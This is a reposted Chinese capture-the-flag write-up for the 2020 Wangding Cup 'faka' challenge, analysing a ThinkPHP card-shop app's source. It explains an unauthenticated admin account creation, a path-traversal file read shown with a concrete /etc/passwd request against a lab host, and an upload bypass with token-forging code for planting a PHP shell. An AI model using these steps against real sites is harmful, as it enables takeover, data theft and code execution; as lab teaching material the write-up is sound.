[网鼎杯 2020 半决赛]faka

未授权添加账号和提升权限

漏洞代码位于application/admin/controller/Index.php中的info方法:

image-20241118220701251

1
2
3
4
5
6
7
public function info()
{
if (intval($this->request->request('id')) === intval(session('user.id'))) {
return $this->_form('SystemUser', 'user/form');
}
$this->error('只能修改当前用户的资料!');
}

题目默认session都没有,因此后面的值为空,get和post不传id的话,$this->request->request('id')也为空,因此可以进入if,跟进_form;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

/**
* 表单默认操作
* @param Query $dbQuery 数据库查询对象
* @param string $tplFile 显示模板名字
* @param string $pkField 更新主键规则
* @param array $where 查询规则
* @param array $extendData 扩展数据
* @return array|string
*/
protected function _form($dbQuery = null, $tplFile = '', $pkField = '', $where = [], $extendData = [])
{
$db = is_null($dbQuery) ? Db::name($this->table) : (is_string($dbQuery) ? Db::name($dbQuery) : $dbQuery);
$pk = empty($pkField) ? ($db->getPk() ? $db->getPk() : 'id') : $pkField;
$pkValue = $this->request->request($pk, isset($where[$pk]) ? $where[$pk] : (isset($extendData[$pk]) ? $extendData[$pk] : null));
// 非POST请求, 获取数据并显示表单页面
if (!$this->request->isPost()) {
$vo = ($pkValue !== null) ? array_merge((array)$db->where($pk, $pkValue)->where($where)->find(), $extendData) : $extendData;
if (false !== $this->_callback('_form_filter', $vo)) {
empty($this->title) || $this->assign('title', $this->title);
return $this->fetch($tplFile, ['vo' => $vo]);
}
return $vo;
}
// POST请求, 数据自动存库
$data = array_merge($this->request->post(), $extendData);
if(isset($data['password'])){
if( !empty($data['password'])) {
$data['password'] = md5($data['password']);
}else{
unset($data['password']);
}
}
if (false !== $this->_callback('_form_filter', $data)) {
$result = DataService::save($db, $data, $pk, $where);
if (false !== $this->_callback('_form_result', $result)) {
if ($result !== false) {
$this->success('恭喜, 数据保存成功!', '');
}
$this->error('数据保存失败, 请稍候再试!');
}
}
}

我们跟进下面的post处理,把post参数给$data,然后把password给md5,再对$data调用_form_filter这个回调方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
* 表单数据默认处理
* @param array $data
*/
public function _form_filter(&$data)
{
if ($this->request->isPost()) {
if (isset($data['authorize']) && is_array($data['authorize'])) {
$data['authorize'] = join(',', $data['authorize']);
}
if (isset($data['id'])) {
unset($data['username']);
} elseif (Db::name($this->table)->where(['username' => $data['username']])->count() > 0) {
$this->error('用户账号已经存在,请使用其它账号!');
}
} else {
$data['authorize'] = explode(',', isset($data['authorize']) ? $data['authorize'] : '');
$this->assign('authorizes', Db::name('SystemAuth')->where(['status' => '1'])->select());
}
}

$data进行简单的处理,基本无太大影响,但要注意$data['authorize'],是对权限的可知,如果这样添加账号的话,权限还是很低,很多功能用不了,所以post还需要加上authorize=3,因为数据表中admin就是3

从_form_filter方法出来后,就会执行$result=DataService::save($db,$data,$pk,$where);,将data保存进数据库,成功未授权添加账号:

我们前往/admin进行登录

image-20241119150101102

任意文件读取

漏洞代码位于/application/manage/controller/Backup.php的downloadBak方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function downloadBak() {
$file_name = $_GET['file'];
$file_dir = $this->config['path'];
if (!file_exists($file_dir . "/" . $file_name)) { //检查文件是否存在
return false;
exit;
} else {
$file = fopen($file_dir . "/" . $file_name, "r"); // 打开文件
// 输入文件标签
header('Content-Encoding: none');
header("Content-type: application/octet-stream");
header("Accept-Ranges: bytes");
header("Accept-Length: " . filesize($file_dir . "/" . $file_name));
header('Content-Transfer-Encoding: binary');
header("Content-Disposition: attachment; filename=" . $file_name); //以真实文件名提供给浏览器下载
header('Pragma: no-cache');
header('Expires: 0');
//输出文件内容
echo fread($file, filesize($file_dir . "/" . $file_name));
fclose($file);
exit;
}
}

读取的文件的后半部分可控,即$_GET['file']可控

我们可以通过这下载文件

1
http://0c3a24d3-6960-480b-9d60-f986cd495e16.node3.buuoj.cn/manage/backup/downloadbak?file=../../../../../../../../../../etc/passwd

但在buu环境中并没有/flag,因此还需要利用接下来的文件上传漏洞。(其实也可以猜到,是/flag.txt)

文件上传

拿到了后台,我们可以发现文件上传的点

image-20241119151420947

正常上传发现上传不了,因此我们看一下文件上传的代码。代码位于application/admin/controller/Plugs.php的upload方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* 通用文件上传
* @return \think\response\Json
*/
public function upload()
{
$file = $this->request->file('file');
$ext = strtolower(pathinfo($file->getInfo('name'), 4));
$md5 = str_split($this->request->post('md5'), 16);
$filename = join('/', $md5) . ".{$ext}";
if (strtolower($ext) == 'php' || !in_array($ext, explode(',', strtolower(sysconf('storage_local_exts'))))) {
return json(['code' => 'ERROR', 'msg' => '文件上传类型受限']);
}
// 文件上传Token验证
if ($this->request->post('token') !== md5($filename . session_id())) {
return json(['code' => 'ERROR', 'msg' => '文件上传验证失败']);
}
// 文件上传处理
if (($info = $file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true))) {
if (($site_url = FileService::getFileUrl($filename, 'local'))) {
return json(['data' => ['site_url' => $site_url], 'code' => 'SUCCESS', 'msg' => '文件上传成功']);
}
}
return json(['code' => 'ERROR', 'msg' => '文件上传失败']);
}

他写了一个file类用来处理上传的文件,注意这个$md5 = str_split($this->request->post('md5'), 16);filename是这样拼接而来的:$filename = join('/', $md5) . ".{$ext}";然后检测后缀,不能是php,或者不是storage_local_exts里面的,这个 是可以通过管理面板改配置来控制的

接下来是token验证:

1
2
3
4
5
// 文件上传Token验证
if ($this->request->post('token') !== md5($filename . session_id())) {
return json(['code' => 'ERROR', 'msg' => '文件上传验证失败']);
}

默认session_id()是空,所以这里的token也很任意构造出来

接下来就是进入move()函数

1
2
$file->move('static' . DS . 'upload' . DS . $md5[0], $md5[1], true)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
/**
* 移动文件
* @access public
* @param string $path 保存路径
* @param string|bool $savename 保存的文件名 默认自动生成
* @param boolean $replace 同名文件是否覆盖
* @return false|File
*/
public function move($path, $savename = true, $replace = true)
{
// 文件上传失败,捕获错误代码
if (!empty($this->info['error'])) {
$this->error($this->info['error']);
return false;
}

// 检测合法性
if (!$this->isValid()) {
$this->error = 'upload illegal files';
return false;
}

// 验证上传
if (!$this->check()) {
return false;
}

$path = rtrim($path, DS) . DS;
// 文件保存命名规则
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;

// 检测目录
if (false === $this->checkPath(dirname($filename))) {
return false;
}

// 不覆盖同名文件
if (!$replace && is_file($filename)) {
$this->error = ['has the same filename: {:filename}', ['filename' => $filename]];
return false;
}

/* 移动文件 */
if ($this->isTest) {
rename($this->filename, $filename);
} elseif (!move_uploaded_file($this->filename, $filename)) {
$this->error = 'upload write error';
return false;
}

// 返回 File 对象实例
$file = new self($filename);
$file->setSaveName($saveName)->setUploadInfo($this->info);

return $file;
}

前面是一些检测,在check()函数中又是否是图片的检测,利用图片头进行绕过

然后注意这里

1
2
3
4
5
$path = rtrim($path, DS) . DS;
// 文件保存命名规则
$saveName = $this->buildSaveName($savename);
$filename = $path . $saveName;

$savename$md5[1],跟进$this->buildSaveName函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
/**
* 获取保存文件名
* @access protected
* @param string|bool $savename 保存的文件名 默认自动生成
* @return string
*/
protected function buildSaveName($savename)
{
// 自动生成文件名
if (true === $savename) {
if ($this->rule instanceof \Closure) {
$savename = call_user_func_array($this->rule, [$this]);
} else {
switch ($this->rule) {
case 'date':
$savename = date('Ymd') . DS . md5(microtime(true));
break;
default:
if (in_array($this->rule, hash_algos())) {
$hash = $this->hash($this->rule);
$savename = substr($hash, 0, 2) . DS . substr($hash, 2);
} elseif (is_callable($this->rule)) {
$savename = call_user_func($this->rule);
} else {
$savename = date('Ymd') . DS . md5(microtime(true));
}
}
}
} elseif ('' === $savename || false === $savename) {
$savename = $this->getInfo('name');
}

if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}

return $savename;
}

这些代码起作用:

1
2
3
4
5
6
if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}

return $savename;

最终相当于写入的文件是static/upload/$md5[0]/$md5[1].$ext

因此php文件写不了,虽然可写入的其他后缀可控,但是没法写入.htaccess之类的,因此也解析不了,正常

是没法写马的,我把这些代码看了一遍后也是这么想的,所以我还是太菜了。

仔细看了

1
2
3
4
5
6
if (!strpos($savename, '.')) {
$savename .= '.' . pathinfo($this->getInfo('name'), PATHINFO_EXTENSION);
}

return $savename;

如果$md5[1]里面有后缀呢?就相当于直接return $savename了,最后相当于是这里:

1
2
static/upload/$md5[0]/$md5[1]

因此可以考虑把php后缀写到$md5[1]里面,想办法构造一下:

1
2
3
4
5
6
7
<?php
$md5="73058d518344b513098c51845768.php";
$md5=str_split($md5,16);
$ext="png";
$filename = join('/', $md5) . ".{$ext}";
echo md5($filename);

至少.php必须在16-32长度之间,生成一下token,是1d3eb018ca985d5fb7668cc8112f2cd3,md5是73058d518344b513098c51845768.php,传入文件的后缀是png,然后上传:

在这里插入图片描述

虽然说文件上传失败,但其实还是成功了的:

在这里插入图片描述

转载

https://blog.csdn.net/rfrder/article/details/115067196